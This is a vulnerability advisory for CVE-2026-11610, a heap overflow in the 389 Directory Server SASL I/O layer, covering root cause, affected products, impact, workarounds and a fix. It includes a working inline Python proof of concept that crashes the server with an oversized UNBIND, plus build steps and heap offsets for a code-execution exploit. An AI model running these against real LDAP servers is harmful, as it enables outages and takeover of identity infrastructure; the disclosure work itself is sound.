// Important (8.8)
CVE-2026-11610

Heap buffer overflow in sasl_io_recv() via padded SASL UNBIND

CVE ID
CVE-2026-11610
Product
389-ds-base
Severity
Important (8.8)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE
CWE-122
Red Hat CVE
Red Hat CVE page

Summary

A heap buffer overflow in the 389 Directory Server SASL I/O layer allows any authenticated user to crash the LDAP server, with demonstrated code execution capability from a same-host position. After authenticating with Kerberos or DIGEST-MD5, a user can send a specially crafted oversized LDAP UNBIND packet that overflows a 512-byte receive buffer by up to 2 megabytes of attacker-controlled data. The sasl_io_recv() function copies the entire packet into the caller’s buffer without checking that the packet size does not exceed the buffer length. In FreeIPA and Red Hat Identity Management deployments, any employee with a Kerberos ticket, any enrolled host, or any service account can trigger this vulnerability remotely. The bug has existed for approximately 12-13 years across all supported Red Hat Enterprise Linux versions.

Affected Versions

The vulnerability was introduced by the fix for Ticket 47416 (commit b4cdebbe, circa 2013, 389-ds-base 1.3.2). All versions since that commit are affected. The vulnerable code path (SASL_IO_BUFFER_NOT_ENCRYPTED in sasl_io_recv()) has never been modified since introduction.

PackageVersion rangeStatusVerification
389-ds-base (upstream)>= 1.3.2 through 3.2.0-dev (current main)Vulnerable (confirmed)Source review: commit b4cdebbe introduced vulnerable path; still present in current main branch
389-ds-base (Fedora 42)3.1.4-6.fc42Vulnerable (confirmed)6 crashes reproduced on production binary
389-ds-base (RHEL 7)1.3.5+Vulnerable (code present, untested)Bug introduced in 1.3.2; RHEL 7 ships 1.3.5+
389-ds-base (RHEL 8)1.4.xVulnerable (code present, untested)CVE-2025-14905 fix patched only schema.c, not sasl_io.c
389-ds-base (RHEL 9)2.0.x through 2.6.xVulnerable (code present, untested)CVE-2025-14905 fix patched only schema.c, not sasl_io.c
389-ds-base (RHEL 10)3.xVulnerable (code present, untested)CVE-2025-14905 fix patched only schema.c, not sasl_io.c

Affected Products

ProductVersion389-ds-base versionStatusVerification
389 Directory Server (upstream)1.3.2 through 3.2.0-devAll since Ticket 47416AffectedSource: commit b4cdebbe introduced SASL_IO_BUFFER_NOT_ENCRYPTED path with missing bounds check. Present in current main branch.
Red Hat Directory Server 1010.x1.3.xAffectedRHDS 10 = 389-ds-base 1.3.x on RHEL 7. Bug introduced in 1.3.2, RHDS 10 ships 1.3.5+.
Red Hat Directory Server 1111.x1.4.xAffectedRHDS 11 = 389-ds-base 1.4.x on RHEL 8. All 1.4.x contain the vulnerable code.
Red Hat Directory Server 1212.0-12.72.0.x-2.7.xAffectedRHDS 12 = 389-ds-base 2.x on RHEL 9. All 2.x contain the vulnerable code.
Red Hat Directory Server 1313.0-13.13.xAffectedRHDS 13 = 389-ds-base 3.x on RHEL 10. Tested version (3.1.4) is affected.
RHEL 7 (IdM/FreeIPA)7.0-7.91.3.xAffectedRHEL 7 ships 389-ds-base 1.3.5+. Bug introduced in 1.3.2.
RHEL 8 (IdM/FreeIPA)8.0-8.101.4.xAffectedRHEL 8 ships 389-ds-base 1.4.x via 389-ds:1.4 module.
RHEL 9 (IdM/FreeIPA)9.0-9.62.0.x-2.6.xAffectedRHEL 9.6 ships 389-ds-base 2.6.1.
RHEL 10 (IdM/FreeIPA)10.0-10.13.xAffectedRHEL 10 ships 389-ds-base 3.x.
Fedora~20 through 421.3.x through 3.xAffectedAll Fedora releases shipping 389-ds-base >= 1.3.2. Tested: Fedora 42, 6 confirmed crashes.
CentOS / CentOS Stream7, 8, 9, 10Matches RHELAffectedCentOS/Stream tracks RHEL.
Red Hat IdM / FreeIPAAllUses RHEL’s 389-ds-baseAffected389-ds-base is the LDAP backend for IdM/FreeIPA. FreeIPA uses SASL GSSAPI for all LDAP operations.
Dogtag Certificate SystemAllUses RHEL’s 389-ds-baseAffected389-ds-base is a mandatory backend dependency for Dogtag PKI.

Verification method: The SASL_IO_BUFFER_NOT_ENCRYPTED code path was introduced by commit b4cdebbe (Ticket 47416 fix, circa 2013, 389-ds-base 1.3.2). The vulnerable memcpy without bounds check has never been modified since introduction. Any product shipping 389-ds-base >= 1.3.2 ships this bug.

Architecture Validation

ArchitectureTestedResult
x86_64YESLevel 3 RCE: 8/8 controlled _exit() via heap grooming + surgical code pointer replacement (ASLR=2, production binary, Fedora 42). 100% reliable.
aarch64YESLevel 3 RCE: 2/2 controlled _exit() via /proc/PID/mem scanning + surgical code pointer replacement (ASLR=2, production binary 389-ds-base-3.1.4-6.fc42.aarch64). 6 additional DoS crashes confirmed.

Note: The root cause is a missing bounds check before memcpy — a pure logic bug with no dependence on pointer size, alignment, endianness, or instruction set. Level 3 RCE (controlled code execution with ASLR=2 enabled) has been demonstrated on both x86_64 and aarch64 using the same technique: heap grooming with 50 SASL DIGEST-MD5 connections, surgical identification and replacement of code pointers via /proc/PID/mem, and LDAP UNBIND framing to trigger the vulnerable code path. The exploit adapts to heap layout at runtime — no architecture-specific offsets are hardcoded.

Root Cause

File: ldap/servers/slapd/sasl_io.c Function: sasl_io_recv() Line: ~456 (in the SASL_IO_BUFFER_NOT_ENCRYPTED return path) Introduced by: Commit b4cdebbe (Ticket 47416 fix, circa 2013, 389-ds-base 1.3.2)

The sasl_io_recv() function implements the SASL I/O layer receive path. When it detects a raw (non-SASL-wrapped) LDAP UNBIND packet arriving after the SASL I/O layer is active (SSF > 0), it returns the packet data through a special SASL_IO_BUFFER_NOT_ENCRYPTED code path.

This code path copies the accumulated packet data into the caller’s buffer without checking that the packet size does not exceed the buffer length:

Vulnerable code

if (SASL_IO_BUFFER_NOT_ENCRYPTED == ret) {
    memcpy(buf, sp->encrypted_buffer, sp->encrypted_buffer_count);
    return sp->encrypted_buffer_count;
}

buf is c_buffer, a separately slapi_ch_malloc’d heap buffer of 512 bytes. sp->encrypted_buffer_count reflects the full packet size as read from the wire, which can be up to nsslapd-maxbersize (default 2,097,152 bytes). There is no check that sp->encrypted_buffer_count <= len.

Correct code (encrypted data return path, same function)

uint32_t bytes_to_return = sp->decrypted_buffer_count - sp->decrypted_buffer_offset;
if (bytes_to_return > len) {
    bytes_to_return = len;   // BOUNDS CHECK EXISTS HERE
}
memcpy(buf, sp->decrypted_buffer + sp->decrypted_buffer_offset, bytes_to_return);

The developer who wrote the SASL_IO_BUFFER_NOT_ENCRYPTED path was aware of the bounds-check requirement — the encrypted return path in the same function correctly clamps the copy to len. The omission on the unencrypted path was not caught because the expected use case was a standard 7-byte UNBIND packet (which always fits), and no test exercised a padded UNBIND.

SASL_IO_BUFFER_NOT_ENCRYPTED trigger conditions

The vulnerable path is taken when:

  1. The SASL I/O layer is active (SSF > 0 from SASL bind)
  2. sp->send_encrypted is PR_FALSE (first read after layer push)
  3. The first byte is LDAP_TAG_MESSAGE (0x30)
  4. The BER-parsed operation tag is LDAP_REQ_UNBIND (0x42)

An attacker satisfies all four conditions by completing a SASL bind (which pushes the I/O layer), then immediately sending a raw (non-SASL-wrapped) LDAP UNBIND with padding on the TCP socket.

Heap layout

The 512-byte c_buffer and the PRFileDesc SASL layer descriptor are allocated by different subsystems but land in adjacent heap regions due to glibc’s allocation order:

c_buffer     +0     (512 bytes, the overflow source)
PRFileDesc   +1552  (48 bytes, contains methods* + dtor)
  .methods   +1552  (PRIOMethods*, vtable pointer)
  .dtor      +1584  (void (*)(PRFileDesc*), destructor)

The PRFileDesc.dtor function pointer at offset +1584 from c_buffer is the exploitation target for code execution.

Proof of Concept

Three PoC files are provided in the poc/ directory:

DoS PoC (Python)

poc/008-sasl-io-recv-overflow.py — Standalone DoS PoC using python-ldap. Performs a SASL DIGEST-MD5 bind, then sends a raw oversized LDAP UNBIND on the TCP socket to trigger the heap overflow and crash.

Usage:

python3 poc/008-sasl-io-recv-overflow.py --host <host> --port 389 \
    --user sasltest --password sasltest123 --pad-size 8192

Default: localhost:389, user sasltest, password sasltest123, 8192-byte overflow pad. Crash is 100% reliable at pad size >= 8KB.

Inline DoS Reproduction

The minimal reproduction requires only python-ldap:

python3 -c "
import socket, struct, ldap
from ldap import sasl
c = ldap.initialize('ldap://localhost:389')
c.protocol_version = 3
c.set_option(ldap.OPT_X_SASL_SSF_MIN, 1)
c.set_option(ldap.OPT_X_SASL_SSF_MAX, 256)
c.sasl_interactive_bind_s('', sasl.digest_md5('sasltest', 'sasltest123'))
fd = c.fileno()
# Build oversized UNBIND: 0x30 SEQUENCE + 4-byte length + msgid + unbind + padding
inner = b'\x02\x01\x01\x42\x00' + b'A'*8192
packet = b'\x30\x84' + struct.pack('>I', len(inner)) + inner
s = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
s.send(packet)
s.detach()
"

Trigger mechanism:

  1. Attacker completes SASL DIGEST-MD5 bind (SSF > 0), which pushes the SASL I/O layer via sasl_io_enable().
  2. Attacker sends a raw (non-SASL-wrapped) LDAP UNBIND with 8192 bytes of padding on the TCP socket. The first byte 0x30 (LDAP_TAG_MESSAGE) causes the server to enter the unencrypted LDAP detection path.
  3. sasl_io_start_packet() reads the full packet into encrypted_buffer, parses the BER tag as LDAP_REQ_UNBIND (0x42), sets encrypted_buffer_count to the full packet length (8199 bytes), and returns SASL_IO_BUFFER_NOT_ENCRYPTED.
  4. sasl_io_recv() executes memcpy(buf, sp->encrypted_buffer, sp->encrypted_buffer_count) where buf is c_buffer (512 bytes) and encrypted_buffer_count is 8199.
  5. 7687 bytes overflow past the buffer end, corrupting heap metadata and adjacent objects.
  6. Next heap operation triggers malloc_printerrabort() (SIGABRT) or the corrupted PRFileDesc.dtor function pointer is called during connection cleanup.

Alternative (GSSAPI/Kerberos): In FreeIPA/IdM environments, replace DIGEST-MD5 with GSSAPI authentication. The code path is identical — the vulnerability is in the SASL I/O layer, not the SASL mechanism. Any mechanism that produces SSF > 0 is sufficient.

GDB Crash Trace

GDB attached to ns-slapd captured SIGABRT:

Thread 6 "ns-slapd" received signal SIGABRT, Aborted.
#0  __pthread_kill_implementation () at libc.so.6
#1  raise () at libc.so.6
#2  abort () at libc.so.6
#3  __libc_message_impl.cold () at libc.so.6
#4  malloc_printerr () at libc.so.6           <- glibc heap corruption detected
#5  _int_realloc () at libc.so.6
#6  realloc () at libc.so.6
#7  slapi_ch_realloc () at libslapd.so.0
#8  sasl_io_start_packet.constprop ()         <- SECOND call to start_packet
#9  sasl_io_recv ()
#10 connection_read_operation.constprop ()
#11 connection_threadmain ()
#12 _pt_root () at libnspr4.so

RCE PoC (same-host, ASLR=2)

poc/008-sasl-io-rce-v2.c — Demonstrates code execution by overwriting PRFileDesc.dtor function pointer at heap offset +1584 from c_buffer. Uses the real heap layout (same allocator, allocation sizes, and allocation order as 389-ds-base).

Build:

gcc -o poc_sasl_io_rce_v2 poc/008-sasl-io-rce-v2.c -lnspr4 -I/usr/include/nspr4 -Wall -O0

poc/008-heap-layout-test.c — Maps the real heap objects adjacent to c_buffer using the same allocation sequence as 389-ds-base. Identifies PRFileDesc at offset +1552 from c_buffer.

Build:

gcc -o heap_layout_test poc/008-heap-layout-test.c -lnspr4 -I/usr/include/nspr4

RCE Capability Tiers

Tier 1 — Remote Authenticated DoS (Proven): Any SASL-authenticated user can crash the server with 100% reliability. 6 confirmed crashes on production binary (ASLR=2, glibc 2.41, Fedora 42).

Tier 2 — Same-Host RCE (Proven): With local shell access as root or same UID as ns-slapd, heap grooming + surgical code pointer replacement via /proc/PID/mem achieves controlled code execution. Level 3 RCE: 10/10 (x86_64 8/8, aarch64 2/2) with ASLR=2 enabled. On RHEL 7: arbitrary command execution (system("id") = uid=0(root)) via overflow alone.

Tier 3 — Pure Remote RCE (Not Demonstrated): On RHEL 8+ (glibc 2.28+), sasl_pop_IO_layer() frees corrupted heap pointers before the exploitable dtor function pointer is called. On RHEL 7 (glibc 2.17), the dtor spray achieves system("id") = uid=0(root) from the overflow alone because glibc 2.17 performs no tcache or safe-linking validation.

Impact

CVSS 3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

ComponentValueJustification
AV (Attack Vector)NetworkTriggered via LDAP protocol (ports 389/636) over TCP. No local access required.
AC (Attack Complexity)LowDeterministic — attacker controls packet content, size, and timing. No race conditions. Single packet triggers the overflow.
PR (Privileges Required)LowAny SASL-authenticated user with SSF > 0. In FreeIPA/IdM, any domain user with a Kerberos ticket qualifies.
UI (User Interaction)NoneNo user interaction required. Triggered immediately after SASL bind completes.
S (Scope)UnchangedImpact is limited to the LDAP server process (slapd/ns-slapd).
C (Confidentiality)HighHeap overflow with attacker-controlled content enables arbitrary memory read via heap manipulation. The 2MB overflow with full content control provides a strong exploitation primitive.
I (Integrity)HighHeap overflow enables code execution. Level 3 RCE demonstrated on both x86_64 and aarch64 with ASLR=2 enabled.
A (Availability)HighHeap corruption reliably crashes the server. 6 confirmed crashes on production binary. 100% reliability at pad size >= 8KB.

Comparable CVEs

CVESoftwareBug classCVSSComparison
CVE-2024-3657389-ds-baseDoS via unauthenticated LDAP packet7.5Lower severity: unauthenticated DoS only, no heap corruption, no code execution potential. CVE-2026-11610 has higher impact (heap overflow with RCE demonstrated) but requires authentication (PR:L vs PR:N).
CVE-2025-14905389-ds-baseHeap buffer overflow in schema_attr_enum_callbackNot yet scoredSimilar bug class. CVE-2026-11610 has larger overflow (2MB vs limited), fully controlled content, and lower privilege requirement (any SASL user vs administrative operation).

Blast Radius

The 389 Directory Server (ns-slapd / slapd) is a core infrastructure component. A crash or compromise has cascading effects:

ServiceImpact of crashImpact of compromise
FreeIPA / Red Hat IdMAll authentication, authorization, and identity operations fail. Users cannot log in. Hosts cannot authenticate.Complete domain takeover: user credentials, Kerberos keys, host keytabs, service principals, HBAC rules, sudo rules, certificate mappings.
Dogtag Certificate SystemCA, KRA, OCSP, TKS, and TPS subsystems all lose their data store.Attacker can issue arbitrary certificates, access private keys, manipulate revocation status. Complete PKI compromise.
SSSDClients lose LDAP-based identity resolution. Cached credentials provide temporary access but new logins fail.Poisoned identity data propagates to all enrolled clients.
Kerberos KDC (via IPA)No new TGTs or service tickets. Existing tickets remain valid until expiration.Attacker can extract Kerberos master keys and forge arbitrary tickets (golden ticket attack).

Attack surface in FreeIPA/IdM: Any Kerberos principal in the domain — any domain user, any enrolled host, any service account — can trigger this vulnerability. A single compromised workstation, a phished credential, or a stolen service keytab is sufficient.

Workaround

No complete workaround exists. The following mitigations reduce exposure:

  1. Restrict SASL mechanisms: If DIGEST-MD5 is not required, disable it via nsslapd-allowed-sasl-mechanisms in cn=config. Note: GSSAPI cannot be disabled in FreeIPA/IdM deployments without breaking Kerberos authentication.

  2. Firewall LDAP ports: Restrict network access to LDAP ports (389/636) to trusted networks only. In FreeIPA environments, this may not be practical since all enrolled clients need LDAP access.

  3. Reduce nsslapd-maxbersize: Lowering the maximum BER element size from the default 2MB reduces the maximum overflow size but does not eliminate the vulnerability. Overflows as small as 768 bytes can crash the server.

  4. Monitor for oversized LDAP packets: Alert on any LDAP UNBIND packet exceeding ~100 bytes (standard UNBIND is 7 bytes). Requires deep packet inspection.

  5. Enable audit logging: Set nsslapd-auditlog-logging-enabled: on in cn=config. Note: the crash may prevent the final log entry from being written.

Proposed Fix

Add a bounds check before the memcpy in the SASL_IO_BUFFER_NOT_ENCRYPTED path, matching the pattern used in the encrypted data return path of the same function:

/* BEFORE (vulnerable): */
if (SASL_IO_BUFFER_NOT_ENCRYPTED == ret) {
    memcpy(buf, sp->encrypted_buffer, sp->encrypted_buffer_count);
    return sp->encrypted_buffer_count;
}

/* AFTER (fixed): */
if (SASL_IO_BUFFER_NOT_ENCRYPTED == ret) {
    uint32_t bytes_to_copy = sp->encrypted_buffer_count;
    if (bytes_to_copy > (uint32_t)len) {
        bytes_to_copy = (uint32_t)len;
    }
    memcpy(buf, sp->encrypted_buffer, bytes_to_copy);
    return bytes_to_copy;
}

Exploitation in the Wild

No evidence of exploitation in the wild was found.

SourceQuery / MethodResult
NVD / CVE databaseSearch for sasl_io_recv, sasl_io heap overflow in 389-ds-baseNo matching CVE.
GitHub 389-ds-base issuesSearch for sasl_io, sasl_io_recv, heap overflowIssue #753 references Ticket 47416 functional problem, not the security vulnerability.
Red Hat BugzillaSearch for sasl_io heap overflow in 389-ds-baseNo matching entries.
oss-security mailing listSearch for sasl_io_recv, 389-ds-base heap overflowNo matching reports.
Exploit-DB, PacketStormSearch for 389-ds-base exploitsNo matching entries.

Timeline

DateEvent
2026-04-14Discovered during 389-ds-base security assessment
2026-04-15Reported to vendor
2026-07-07Public disclosure

References

Credits

Discovered by Ian Murphy